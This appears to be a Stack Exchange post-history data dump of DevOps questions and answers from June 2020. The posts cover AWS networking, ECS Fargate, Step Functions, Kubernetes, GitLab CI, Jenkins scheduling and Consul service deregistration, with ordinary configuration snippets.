  <row Id="36522" PostHistoryTypeId="2" PostId="11888" RevisionGUID="c96029b3-aeda-496f-9dfb-2bf95c67d7f8" CreationDate="2020-06-23T09:02:45.567" UserId="22743" Text="How are you trying to connect to the remote service? - IP address, default internal/external DNS name or custom DNS name private/public hosted zone?&#xD;&#xA;Please compare the output of nslookup to the remote service in both the VPCs. If the IPs resolving are different, the traffic is trying to go through the public internet and not the peering connection.&#xD;&#xA;&#xD;&#xA;It would most probably be the need to either [share the private hosted zone with the peered VPC][1] or [share internal hostnames across the peering connection][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/Route53/latest/DeveloperGuide/hosted-zone-private-associate-vpcs.html&#xD;&#xA;  [2]: https://docs.aws.amazon.com/vpc/latest/peering/modify-peering-connections.html#vpc-peering-dns" ContentLicense="CC BY-SA 4.0" />
  <row Id="36523" PostHistoryTypeId="50" PostId="10485" RevisionGUID="7ad8768b-05b7-4ce8-a3e6-682e651b3de7" CreationDate="2020-06-23T11:09:21.050" UserId="-1" />
  <row Id="36524" PostHistoryTypeId="50" PostId="11422" RevisionGUID="511dbe39-bb22-424c-9232-c0ed27a133ad" CreationDate="2020-06-23T13:08:25.823" UserId="-1" />
  <row Id="36528" PostHistoryTypeId="5" PostId="11509" RevisionGUID="2b2fbc17-7d84-4e0d-ae4d-908ad4be937a" CreationDate="2020-06-23T14:33:23.363" UserId="21993" Comment="corrected factual error, not a bug" Text="This is by design because AWS have yet to upgrade LATEST to point to v1.4.0 (as per 2020-06-23, see [AWS ECS Developer Guide](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/platform_versions.html#platform-version-considerations)). Set the service platform version explicitly to `1.4.0` (instead of LATEST)." ContentLicense="CC BY-SA 4.0" />
  <row Id="36529" PostHistoryTypeId="2" PostId="11890" RevisionGUID="ed37d206-d954-4b2f-a572-3d3073fe952f" CreationDate="2020-06-23T16:17:03.437" UserId="743" Text="Our goal is to have StatsD deployed on k8s cluster running on AWS.&#xD;&#xA;Currently all existing applications using UDP to send StatsD metrics.&#xD;&#xA;As we understood from the kubernetes docs and tests we performed, currently there's no support for UDP listeners while using external loadbalancer (CLB, ALB, NLB), we could use NodePort to expose UDP port but we need support for multiple nodes and failover scenarios when nodes replaced or failing.&#xD;&#xA;Please share your suggestions or experience of running such setup." ContentLicense="CC BY-SA 4.0" />
  <row Id="36530" PostHistoryTypeId="1" PostId="11890" RevisionGUID="ed37d206-d954-4b2f-a572-3d3073fe952f" CreationDate="2020-06-23T16:17:03.437" UserId="743" Text="How to deploy StatsD listening on UDP in kubernetes with external loadbalancer on AWS?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36531" PostHistoryTypeId="3" PostId="11890" RevisionGUID="ed37d206-d954-4b2f-a572-3d3073fe952f" CreationDate="2020-06-23T16:17:03.437" UserId="743" Text="&lt;kubernetes&gt;&lt;amazon-web-services&gt;&lt;monitoring&gt;&lt;aws-elb&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36532" PostHistoryTypeId="2" PostId="11891" RevisionGUID="c2048217-96e9-4346-9ce7-2ae9ef3dbec1" CreationDate="2020-06-23T16:30:14.163" UserId="22874" Text="I am building a service that has two independent steps. The first step is a data transformation step that has to happen and is common to all downstream processes, then the second is starting a few dozen independent parallel processes that use the same input data, save for a few different runtime specified parameters. &#xD;&#xA;&#xD;&#xA;I know I can use a step function to set off the data transformation step and wait for it to complete before starting off a single fargate task, but can I get it to start a few dozen (or more) in parallel using a common docker object but pass each of those runs slightly different parameter values.  &#xD;&#xA;&#xD;&#xA;I want to use fargate because we are a small team and I don't want to have to spend team resources on maintaining compute resources, and I can't use AWS Lambda because we expect the run times will often exceed 15 minutes, and there isn't an easy or obvious way to break the problem down any further to be certain the jobs will be able to execute within 15 minutes.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36533" PostHistoryTypeId="1" PostId="11891" RevisionGUID="c2048217-96e9-4346-9ce7-2ae9ef3dbec1" CreationDate="2020-06-23T16:30:14.163" UserId="22874" Text="Can I use AWS Step Functions to launch many different fargate 'runs'?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36534" PostHistoryTypeId="3" PostId="11891" RevisionGUID="c2048217-96e9-4346-9ce7-2ae9ef3dbec1" CreationDate="2020-06-23T16:30:14.163" UserId="22874" Text="&lt;docker&gt;&lt;amazon-web-services&gt;&lt;fargate&gt;&lt;step-functions&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36535" PostHistoryTypeId="2" PostId="11892" RevisionGUID="8c94fb9f-35bf-4921-a21f-1a80642e9a03" CreationDate="2020-06-23T17:10:47.867" UserId="132" Text="Yes, you can start ECS Fargate tasks from Step Functions in the way you've described.&#xD;&#xA;&#xD;&#xA;Step Functions allows you to pass `Parameters` to the underlying service API.&#xD;&#xA;&#xD;&#xA;https://docs.aws.amazon.com/step-functions/latest/dg/connect-parameters.html&#xD;&#xA;&#xD;&#xA;*[sidebar: that doc also specifies how to pass state inputs, which you've stated is a requirement]*&#xD;&#xA;&#xD;&#xA;For ECS Fargate, a single state machine with no unique configuration could look something like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA; &quot;States&quot;: {&#xD;&#xA;    &quot;${name}&quot;: {&#xD;&#xA;      &quot;Type&quot;: &quot;Task&quot;,&#xD;&#xA;      &quot;Resource&quot;: &quot;arn:aws:states:::ecs:runTask.sync&quot;,&#xD;&#xA;      &quot;Parameters&quot;: {&#xD;&#xA;        &quot;LaunchType&quot;: &quot;FARGATE&quot;,&#xD;&#xA;        &quot;Cluster&quot;: &quot;${cluster}&quot;,&#xD;&#xA;        &quot;TaskDefinition&quot;: &quot;${task_definition}&quot;,&#xD;&#xA;        &quot;NetworkConfiguration&quot;: {&#xD;&#xA;          &quot;AwsvpcConfiguration&quot;: {&#xD;&#xA;            &quot;Subnets&quot;: [&quot;${subnet_1}&quot;, &quot;${subnet_2}&quot;],&#xD;&#xA;            &quot;SecurityGroups&quot;: [&quot;${security_group}&quot;],&#xD;&#xA;            &quot;AssignPublicIp&quot;: &quot;DISABLED&quot;&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;      },&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Now, you've asked about passing each task slightly different parameter values...&#xD;&#xA;&#xD;&#xA;Thankfully, the ECS `RunTask` API has a helpful `overrides: { containerOverrides: [] }` parameter.&#xD;&#xA;&#xD;&#xA;https://docs.aws.amazon.com/AmazonECS/latest/APIReference/API_RunTask.html&#xD;&#xA;&#xD;&#xA;Overriding the `command` (for task execution) or `environment` (for OS variables) should provide the customization you require without needing multiple ECS Task Definitions. &#xD;&#xA;&#xD;&#xA;So, add each distinct task to your state machine, each ingesting state inputs and with its own unique override, and that should do it!" ContentLicense="CC BY-SA 4.0" />
  <row Id="36536" PostHistoryTypeId="5" PostId="11871" RevisionGUID="a45c2c74-645b-41d4-bb3c-7e68330bde71" CreationDate="2020-06-23T18:09:18.077" UserId="739" Comment="copy editing" Text="**If an engineer is a great developer, why would he or she opt for an SRE role?**&#xD;&#xA;&#xD;&#xA;Here is a caricature of being a developer: Working in Sprints, getting a ticket with all of the BA work completed, spending 3-4 days on that problem, marking it done, getting the next ticket and so on. This is a really boring work environment.  Yes there are better environments to work in, and not all development roles fall into the scrum mediocrity trap, but it happens frequently.&#xD;&#xA;&#xD;&#xA;DevOps is new enough that it's not yet been &quot;solved&quot; as a problem.  It certainly hasn't yet had all of the engineering challenge managed into separate roles, so it allows a certain type of developer a bit more freedom, working using multiple skills, in a fast paced environment. It's not for the faint hearted.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**What is a reasonable expectation for an SRE when it comes to coding?**&#xD;&#xA;&#xD;&#xA;That they are a programmer that you would want on the development team. SRE is not a place for substandard developers. The development challenges in SRE are as great as that in the development space, but the space for errors is less.&#xD;&#xA;&#xD;&#xA;**Is it practical to have two cadres of SREs -- development focused ones or &quot;SWE SREs&quot; and operations focused ones or &quot;Operation SREs&quot;?**&#xD;&#xA;&#xD;&#xA;Not really. To be in SRE you must understand Dev and Ops. If thats not the case, then you are not doing SRE, you are doing something else.  It doesn't mean it's wrong, or not working for you - it could be just what you need for your environment, and you have the people that make it work. It is possible to have a specialist who isn't really a developer on the team, IF they bring an important skill to the team that the developers are not able to cover (e.g. low level networking or linux kernel knowledge), but this is done rarely. &#xD;&#xA;&#xD;&#xA;**Could they be a part of the same team?**&#xD;&#xA;&#xD;&#xA;You can place Dev and Ops into the same team.  It would make for some interesting management challenges. Please run the team in a more kanban style, ops doesn't work in sprints&#xD;&#xA;&#xD;&#xA;**Is it practical to rotate people between these two roles?**&#xD;&#xA;&#xD;&#xA;Most developers benefit from an exposure to the land of DevOps.  However, if it is a true ops environment, that timescale is probably 2-3 days at most.  Not sure most ops people would be able to assist meaningfully as a developer, but they would often make a good tester. Most ops people would not want to be in a testing role for long." ContentLicense="CC BY-SA 4.0" />
  <row Id="36537" PostHistoryTypeId="6" PostId="11870" RevisionGUID="700f082c-dfd3-407c-b14f-494c9c4743d3" CreationDate="2020-06-23T18:12:03.817" UserId="739" Comment="edited tags" Text="&lt;culture&gt;&lt;terminology&gt;&lt;organization&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36538" PostHistoryTypeId="2" PostId="11893" RevisionGUID="a0bd6474-d89d-409a-a412-ba6d964356e0" CreationDate="2020-06-23T20:02:57.950" UserId="4328" Text="I'm looking for a service or third party solution that allows for granting temporary access to an IAM user (or group) to one or more services in an AWS account. &#xD;&#xA;&#xD;&#xA;The example I have is there is an outage in a production account, and I would like to grant temporary access to developers/sys admins to resolve the issue. Under normal circumstances, they would not have access to this particular service/account.&#xD;&#xA;&#xD;&#xA;Ideally, I would like this to me a managed off the shelf solution vs something like SSM, which would require quite a bit of configuration." ContentLicense="CC BY-SA 4.0" />
  <row Id="36539" PostHistoryTypeId="1" PostId="11893" RevisionGUID="a0bd6474-d89d-409a-a412-ba6d964356e0" CreationDate="2020-06-23T20:02:57.950" UserId="4328" Text="AWS Temporary Permission Granting Tool for Account/Service &quot;Firefights&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36540" PostHistoryTypeId="3" PostId="11893" RevisionGUID="a0bd6474-d89d-409a-a412-ba6d964356e0" CreationDate="2020-06-23T20:02:57.950" UserId="4328" Text="&lt;amazon-web-services&gt;&lt;aws-iam&gt;&lt;sysadmin&gt;&lt;aws-ssm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36542" PostHistoryTypeId="2" PostId="11894" RevisionGUID="f26c31a2-5503-44d4-b3f7-f6b0cefa188b" CreationDate="2020-06-24T09:23:50.440" UserId="22887" Text="What I did that worked for me :&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;- name: launch pg_ctl start&#xD;&#xA;  command: &quot;su &lt;USER&gt; -l -c '&lt;COMMAND&gt;'&quot;&#xD;&#xA;  become: yes&#xD;&#xA;  become_exe: sudo&#xD;&#xA;```&#xD;&#xA;PS : With `su -l`, it automatically load the `.bash_profile` and not the `.bashrc`" ContentLicense="CC BY-SA 4.0" />
  <row Id="36546" PostHistoryTypeId="2" PostId="11896" RevisionGUID="5918cd6f-472c-4eed-a289-803ac14abb43" CreationDate="2020-06-24T10:58:10.740" UserId="22889" Text="As already mentioned, &quot;It Dependes&quot; and more importantly who are your &quot;Users&quot;, &#xD;&#xA;&#xD;&#xA;1. is it the dev/test team for whom you are creating an infrastructure -&gt; sure.&#xD;&#xA;2. is it the staging server/deployment server -&gt; ofcourese.&#xD;&#xA;3. is it end users, yes. In many cases there are scenarios like encrypitng data on transport or at encryption at rest, a devops professional do write code to fulfill those requirements. &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36547" PostHistoryTypeId="2" PostId="11897" RevisionGUID="71693ebd-7568-4120-8fc7-71565223809c" CreationDate="2020-06-24T12:51:33.943" UserId="22362" Text="I'm using gitlab-ci. I have a pipeline that has the following steps :&#xD;&#xA;&#xD;&#xA; 1. code-verification&#xD;&#xA;&#xD;&#xA; 2. some tests&#xD;&#xA;&#xD;&#xA; 3. deploy (manual)&#xD;&#xA;&#xD;&#xA; 4. some more tests&#xD;&#xA;&#xD;&#xA; 5. rollback (manual) &#xD;&#xA;&#xD;&#xA;Both the deploy and the rollback job have to be launch manually which means that I'm using `when: manual` in my gitlab-ci.yml file.&#xD;&#xA;&#xD;&#xA;However, I also want the rollback to be possible *even* if a step/job has fail before (for example, a faulty deploy or a failing in the &quot;some more tests&quot; stage).&#xD;&#xA;&#xD;&#xA;I was thinking of using `when: always` but since I'm already using the `when: manual`, it doesn't work (I tried).&#xD;&#xA;&#xD;&#xA;For now, I just put the &quot;some more tests&quot; and the &quot;rollback&quot; in the same stage so that the failure of one doesn't impact the other. But is there another way to do this? &#xD;&#xA;&#xD;&#xA;I really wish to have everything in the same pipeline (so no trigger) and to always have the possibility to launch the rollback job. No matter what happened before. " ContentLicense="CC BY-SA 4.0" />
  <row Id="36548" PostHistoryTypeId="1" PostId="11897" RevisionGUID="71693ebd-7568-4120-8fc7-71565223809c" CreationDate="2020-06-24T12:51:33.943" UserId="22362" Text="Gitlab: Always having the possibility to launch a manual job (even if something failed before)" ContentLicense="CC BY-SA 4.0" />
  <row Id="36549" PostHistoryTypeId="3" PostId="11897" RevisionGUID="71693ebd-7568-4120-8fc7-71565223809c" CreationDate="2020-06-24T12:51:33.943" UserId="22362" Text="&lt;continuous-integration&gt;&lt;gitlab&gt;&lt;continuous-deployment&gt;&lt;yaml&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36550" PostHistoryTypeId="2" PostId="11898" RevisionGUID="3d1fed3f-f4e0-4ac3-9166-7776fa512bef" CreationDate="2020-06-24T13:29:33.630" UserId="17329" Text="I am trying to set storage sig-storage-local-static-provisioner to /vagrant mapped folder on windows host, my expectation is that the localstorage calss will automatically provision pvs based on pvc requests, is that possible, trying to use confluent kafka with it with following config:&#xD;&#xA;common:&#xD;&#xA;  namespace: kube-system&#xD;&#xA;classes:&#xD;&#xA;- name: local-storage&#xD;&#xA;  hostDir: /vagrant/kafkastorage&#xD;&#xA;However I am stuck on waiting for consume I don't see PVs getting created, any idea if that is possible at all?&#xD;&#xA;Latest events are:&#xD;&#xA;2m52s       Normal    WaitForFirstConsumer   persistentvolumeclaim/datadir-0-confluent-prod-cp-kafka-0        waiting for first consumer to be created before binding&#xD;&#xA;2m52s       Normal    WaitForFirstConsumer   persistentvolumeclaim/datadir-confluent-prod-cp-zookeeper-0      waiting for first consumer to be created before binding&#xD;&#xA;2m52s       Normal    WaitForFirstConsumer   persistentvolumeclaim/datalogdir-confluent-prod-cp-zookeeper-0   waiting for first consumer to be created before binding&#xD;&#xA;```&#xD;&#xA;cat local.storage.class.yaml&#xD;&#xA;kind: StorageClass&#xD;&#xA;apiVersion: storage.k8s.io/v1&#xD;&#xA;metadata:&#xD;&#xA;  name: local-storage&#xD;&#xA;provisioner: kubernetes.io/no-provisioner&#xD;&#xA;volumeBindingMode: WaitForFirstConsumer&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="36551" PostHistoryTypeId="1" PostId="11898" RevisionGUID="3d1fed3f-f4e0-4ac3-9166-7776fa512bef" CreationDate="2020-06-24T13:29:33.630" UserId="17329" Text="K8s sig-storage-local-static-provisioner hostDir against /vagrant mount?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36552" PostHistoryTypeId="3" PostId="11898" RevisionGUID="3d1fed3f-f4e0-4ac3-9166-7776fa512bef" CreationDate="2020-06-24T13:29:33.630" UserId="17329" Text="&lt;kubernetes&gt;&lt;vagrant&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36554" PostHistoryTypeId="2" PostId="11900" RevisionGUID="b00c8e43-8e22-4303-9b36-8473a4da94ed" CreationDate="2020-06-24T17:27:59.970" UserId="9308" Text="I'm trying to use Jenkins to run a small monitoring script every minute on two separate ECS clusters.&#xD;&#xA;In the text box that opens when you enable &quot;Build periodically with parameters&quot; I wrote:&#xD;&#xA;&#xD;&#xA;&gt;\* * * * * %CLUSTER=Cluster1;&#xD;&#xA;&#xD;&#xA;&gt;\* * * * * %CLUSTER=Cluster2;&#xD;&#xA;&#xD;&#xA;This works fine for Cluster1 but it does not run for Cluster2. It does not fail, it just doesn't run. If you switch the lines it works for Cluster2 (which is now at the top) but not for Cluster1. I made sure the node it runs on has enough runners, and that &quot;Execute concurrent builds if necessary&quot; is enabled. The closest thing I found while googling is [this][1], and I checked but there is a blank line after these and adding another or removing it or adding a space between them does not help.&#xD;&#xA;&#xD;&#xA;I have a bad workaround which is just squeezing both runs in an unparametrized build and that works but it is inflexible. &#xD;&#xA;&#xD;&#xA;So to reiterate the question, why does Jenkins not run concurrent builds from cron, and what can I do to change that?&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;		&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/12479973/crontab-executes-only-first-line" ContentLicense="CC BY-SA 4.0" />
  <row Id="36555" PostHistoryTypeId="1" PostId="11900" RevisionGUID="b00c8e43-8e22-4303-9b36-8473a4da94ed" CreationDate="2020-06-24T17:27:59.970" UserId="9308" Text="Jenkins cron works only for the 1st line" ContentLicense="CC BY-SA 4.0" />
  <row Id="36556" PostHistoryTypeId="3" PostId="11900" RevisionGUID="b00c8e43-8e22-4303-9b36-8473a4da94ed" CreationDate="2020-06-24T17:27:59.970" UserId="9308" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36558" PostHistoryTypeId="50" PostId="11689" RevisionGUID="fb012240-1e49-43f3-9f64-a17ee4557e79" CreationDate="2020-06-25T07:03:40.367" UserId="-1" />
  <row Id="36559" PostHistoryTypeId="2" PostId="11901" RevisionGUID="1b2adade-001b-452e-bfc8-301aef9067b5" CreationDate="2020-06-25T09:50:39.977" UserId="22362" Text="I'm using gitlab CI/CD and I have a pipeline which does the following things :&#xD;&#xA;&#xD;&#xA; 1. code verification&#xD;&#xA;&#xD;&#xA; 2. build&#xD;&#xA;&#xD;&#xA; 3. some test&#xD;&#xA;&#xD;&#xA; 4. deploy in a test environment (manual)&#xD;&#xA;&#xD;&#xA; 5. Some more tests&#xD;&#xA;&#xD;&#xA;If we don't do the deploy, the stage 5 is useless and not &quot;launched&quot;. (It's using the `needs: [&quot;deploy in a test environment&quot;]`). So far, so good.&#xD;&#xA;&#xD;&#xA;The issue is: when my first three stages are complete, the pipeline is still showed as &quot;running&quot; even though it isn't. Here is an illustration:&#xD;&#xA;&#xD;&#xA;[![picture of the pipeline with the &quot;running&quot; status][1]][1]&#xD;&#xA;&#xD;&#xA;I either need to *manually* launch the stage 4 (which would in turn launch stage 5) for it to be marked as &quot;finished&quot; or to *manually* cancel stage 5.  &#xD;&#xA;&#xD;&#xA;Please note that if I only have the 4 first stage, the pipeline will be marked as &quot;finished&quot; even if stage 4 was never actually launched. &#xD;&#xA;&#xD;&#xA;So, is there a way for the pipeline to be **automatically** marked as &quot;finished&quot; at the end of stage 3 if stage 4 isn't manually launched? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/NapTt.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="36560" PostHistoryTypeId="1" PostId="11901" RevisionGUID="1b2adade-001b-452e-bfc8-301aef9067b5" CreationDate="2020-06-25T09:50:39.977" UserId="22362" Text="Pipeline gitlab showned as &quot;running&quot; even though it isn't" ContentLicense="CC BY-SA 4.0" />
  <row Id="36561" PostHistoryTypeId="3" PostId="11901" RevisionGUID="1b2adade-001b-452e-bfc8-301aef9067b5" CreationDate="2020-06-25T09:50:39.977" UserId="22362" Text="&lt;continuous-integration&gt;&lt;gitlab&gt;&lt;continuous-deployment&gt;&lt;yaml&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36562" PostHistoryTypeId="2" PostId="11902" RevisionGUID="81eeebdc-6073-4535-a7fe-f4a1816eed27" CreationDate="2020-06-25T10:17:04.243" UserId="13379" Text="I believe your issue is the use of * * * * *.&#xD;&#xA;&#xD;&#xA;The [parameterized-scheduler-plugin](&#xD;&#xA;https://github.com/jenkinsci/parameterized-scheduler-plugin/blob/master/README.md) example has two different times specified.&#xD;&#xA;&#xD;&#xA;    #lets run against the integration environment at 15 past the hour&#xD;&#xA;    15 * * * * % env=int&#xD;&#xA;    #run QA too&#xD;&#xA;    30 * * * % env=qa&#xD;&#xA;&#xD;&#xA;So one job runs @15 and one @30.&#xD;&#xA;&#xD;&#xA;You could try the random time parameter &quot;H&quot; or fix some interval.&#xD;&#xA;&#xD;&#xA;Yours specify the same time, so only the first is executed.&#xD;&#xA;&#xD;&#xA;Or, it does say &quot;Leave a space. Put in a %. Then add the name=value pairs&quot;. So maybe it's &lt;cronexp&gt;&lt;space&gt;&lt;percent&gt;&lt;space&gt;&lt;name=value&gt; ?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36563" PostHistoryTypeId="5" PostId="11902" RevisionGUID="381079fa-73d5-4002-8d3b-86bfd91848b0" CreationDate="2020-06-25T10:24:22.563" UserId="13379" Comment="added 76 characters in body" Text="I believe your issue is the use of * * * * *.&#xD;&#xA;&#xD;&#xA;The [parameterized-scheduler-plugin](&#xD;&#xA;https://github.com/jenkinsci/parameterized-scheduler-plugin/blob/master/README.md) example has two different times specified.&#xD;&#xA;&#xD;&#xA;    #lets run against the integration environment at 15 past the hour&#xD;&#xA;    15 * * * * % env=int&#xD;&#xA;    #run QA too&#xD;&#xA;    30 * * * % env=qa&#xD;&#xA;&#xD;&#xA;So one job runs `@15` and one `@30`.&#xD;&#xA;&#xD;&#xA;Yours specify the same time, so only the first is executed.&#xD;&#xA;&#xD;&#xA;You could try the random time parameter `&quot;H&quot;` or fix some different interval on each.&#xD;&#xA;&#xD;&#xA;Or, it does say &quot;Leave a space. Put in a %. Then add the name=value pairs&quot;. So maybe it's `cronexp space percent space name=value` ?&#xD;&#xA;&#xD;&#xA;OR you could just copy the job job and schedule two separate jobs w/fixed parameter.&#xD;&#xA;But Jenkins does sound like the wrong tool for this." ContentLicense="CC BY-SA 4.0" />
  <row Id="36565" PostHistoryTypeId="5" PostId="11900" RevisionGUID="f2fa262b-5c6d-420b-a86e-b18311a02589" CreationDate="2020-06-25T11:09:08.547" UserId="9308" Comment="added 1183 characters in body" Text="I'm trying to use Jenkins to run a small monitoring script every minute on two separate ECS clusters.&#xD;&#xA;In the text box that opens when you enable &quot;Build periodically with parameters&quot; I wrote:&#xD;&#xA;&#xD;&#xA;&gt;\* * * * * %CLUSTER=Cluster1;&#xD;&#xA;&#xD;&#xA;&gt;\* * * * * %CLUSTER=Cluster2;&#xD;&#xA;&#xD;&#xA;This works fine for Cluster1 but it does not run for Cluster2. It does not fail, it just doesn't run. If you switch the lines it works for Cluster2 (which is now at the top) but not for Cluster1. I made sure the node it runs on has enough runners, and that &quot;Execute concurrent builds if necessary&quot; is enabled. The closest thing I found while googling is [this][1], and I checked but there is a blank line after these and adding another or removing it or adding a space between them does not help.&#xD;&#xA;&#xD;&#xA;I have a bad workaround which is just squeezing both runs in an unparametrized build and that works but it is inflexible. &#xD;&#xA;&#xD;&#xA;So to reiterate the question, why does Jenkins not run concurrent builds from cron, and what can I do to change that?&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;		&#xD;&#xA;**EDIT:**&#xD;&#xA;&#xD;&#xA;When you insert a cron schedule of * * * * *, Jenkins posts the following:&#xD;&#xA;&gt; Do you really mean &quot;every minute&quot; when you say &quot;* * * * *&quot;? Perhaps you meant &quot;H * * * *&quot; to poll once per hour.&#xD;&#xA;&#xD;&#xA;As I need it to be on a per minute basis this is (for the 1st one, but not for the 2nd) the desired result.&#xD;&#xA;Based on Ian W's suggestion to do replace the schedule from &quot;* * * * * &quot; to &quot;H/2 * * * *&quot;. I checked it but this still led to only the 1st one being run, and would have caused it to run every other minute and not every minute as intended.&#xD;&#xA;H/1 doesn't run at all, and H/0.5 returns an error of &#xD;&#xA;&#xD;&#xA;&gt; Invalid input: &quot;H/0.5 * * * * %CLUSTER=Cluster1;&quot;: line 2:3: step must be positive, but found 0&#xD;&#xA;&#xD;&#xA;I also tried H/1.1 but that returned:&#xD;&#xA;&gt;Invalid input: &quot;H/1.1 * * * * %CLUSTER=Cluster1;&quot;: line 2:4: unexpected char: '.'&#xD;&#xA;&#xD;&#xA;The closest I got so far was staggering the cron jobs like so:&#xD;&#xA;&gt;H/2 * * * * %CLUSTER=Cluster1;&#xD;&#xA;&#xD;&#xA;&gt;\* * * * * %CLUSTER=Cluster2;&#xD;&#xA;&#xD;&#xA;Which caused both jobs to run every 2 minutes.&#xD;&#xA;&#xD;&#xA;BTW, the Jenkins version is 2.204.1, the Parametrized Scheduler plugin is on version 0.8, if any other plugins are relevant I can post their versions as well.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/12479973/crontab-executes-only-first-line" ContentLicense="CC BY-SA 4.0" />
  <row Id="36570" PostHistoryTypeId="50" PostId="11685" RevisionGUID="df2e6935-9472-4b0f-9673-1427d03715d1" CreationDate="2020-06-25T14:06:45.787" UserId="-1" />
  <row Id="36571" PostHistoryTypeId="2" PostId="11904" RevisionGUID="52589b84-0761-4c69-8fb1-ca25fcdebdfd" CreationDate="2020-06-25T14:36:44.663" UserId="11221" Text="I have a node.js application that is running on a Kubernetes cluster, I am using helm to manage it currently. I have ran into a bit of an issue, when the application starts it connects to a service discovery tool, when it is to shut down it should disconnect from said tool. If I do it locally then it works fine, however when I do a helm upgrade it goes sideways and doesn't disconnect which then results in the api gateway having a fit.&#xD;&#xA;&#xD;&#xA;Is there something different than a basic helm template and using upgrade? The application supports what I need just a matter of having Kubernetes do it too. &#xD;&#xA;&#xD;&#xA;Here is the express server and consul code, it goes at the bottom of my app.js file.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;const port = 8081;&#xD;&#xA;app.listen(port, () =&gt; {&#xD;&#xA;    const CONSUL_ID = require('uuid').v4();&#xD;&#xA;    const ip = require('ip');&#xD;&#xA;    const my_IP = ip.address();&#xD;&#xA;    let options = {&#xD;&#xA;      name: 'auth',&#xD;&#xA;      address: `${my_IP}`,&#xD;&#xA;      port: port,&#xD;&#xA;      id: CONSUL_ID,&#xD;&#xA;      check: {&#xD;&#xA;        ttl: '10s',&#xD;&#xA;        deregister_critical_service_after: '1m'&#xD;&#xA;      }&#xD;&#xA;    };&#xD;&#xA;    consul.agent.service.register(options, function(err) {&#xD;&#xA;      if (err) throw err;&#xD;&#xA;      console.log(`Registered service with ID of ${CONSUL_ID}`);&#xD;&#xA;    });&#xD;&#xA;    &#xD;&#xA;    setInterval(() =&gt; {&#xD;&#xA;      consul.agent.check.pass({id:`service:${CONSUL_ID}`}, err =&gt; {&#xD;&#xA;        if (err) throw new Error(err);&#xD;&#xA;      });&#xD;&#xA;    }, 5 * 1000);&#xD;&#xA;    &#xD;&#xA;    process.on('SIGINT', () =&gt; {&#xD;&#xA;      console.log(`SIGINT. De-Registering service with ID of ${CONSUL_ID}`);&#xD;&#xA;      consul.agent.service.deregister(CONSUL_ID, (err) =&gt; {&#xD;&#xA;        if(err) console.log(`Error de-registering service from consul, with error of : ${err}`);&#xD;&#xA;        if(!err) console.log(`De-registered service with ID of ${CONSUL_ID}`);&#xD;&#xA;        process.exit();&#xD;&#xA;      });&#xD;&#xA;    });&#xD;&#xA;    console.log(`Auth server running express started on port ${port}.`);&#xD;&#xA;});&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="36572" PostHistoryTypeId="1" PostId="11904" RevisionGUID="52589b84-0761-4c69-8fb1-ca25fcdebdfd" CreationDate="2020-06-25T14:36:44.663" UserId="11221" Text="How does Kubernetes terminate an instance after helm upgrade" ContentLicense="CC BY-SA 4.0" />
  <row Id="36573" PostHistoryTypeId="3" PostId="11904" RevisionGUID="52589b84-0761-4c69-8fb1-ca25fcdebdfd" CreationDate="2020-06-25T14:36:44.663" UserId="11221" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;helm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36574" PostHistoryTypeId="2" PostId="11905" RevisionGUID="70954c20-391c-49d4-b804-409a53fa6cea" CreationDate="2020-06-25T14:46:05.843" UserId="22372" Text="I have a Jenkins job which does some unit-testing for some code. It can be started in two possible ways:&#xD;&#xA;&#xD;&#xA;1. By the scheduler - it polls the Perforce server, and starts the job when it detects a code change&#xD;&#xA;2. By a user, on demand - it downloads a shelved/stashed code change, and checks whether it breaks the tests&#xD;&#xA;&#xD;&#xA;The second way is called &quot;Build Review&quot;:&#xD;&#xA;&#xD;&#xA;[![Build Review][1]][1]&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;If the job discovers problems, I want to send emails conditionally, to avoid spam:&#xD;&#xA;&#xD;&#xA;1. If invoked by the scheduler, send mails to everyone who did check-ins since last successful build (called &quot;developers&quot; in Jenkins jargon)&#xD;&#xA;2. If invoked by a specific user, send a mail only to that user&#xD;&#xA;&#xD;&#xA;I am using the [Any Build Step plugin](https://plugins.jenkins.io/any-buildstep/) to add two conditional instances of Editable email Notification into my job settings. But what are the conditions? How can I tell it to send mail only if invoked in a specific way, (1) or (2) above?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/ZguRE.png" ContentLicense="CC BY-SA 4.0" />
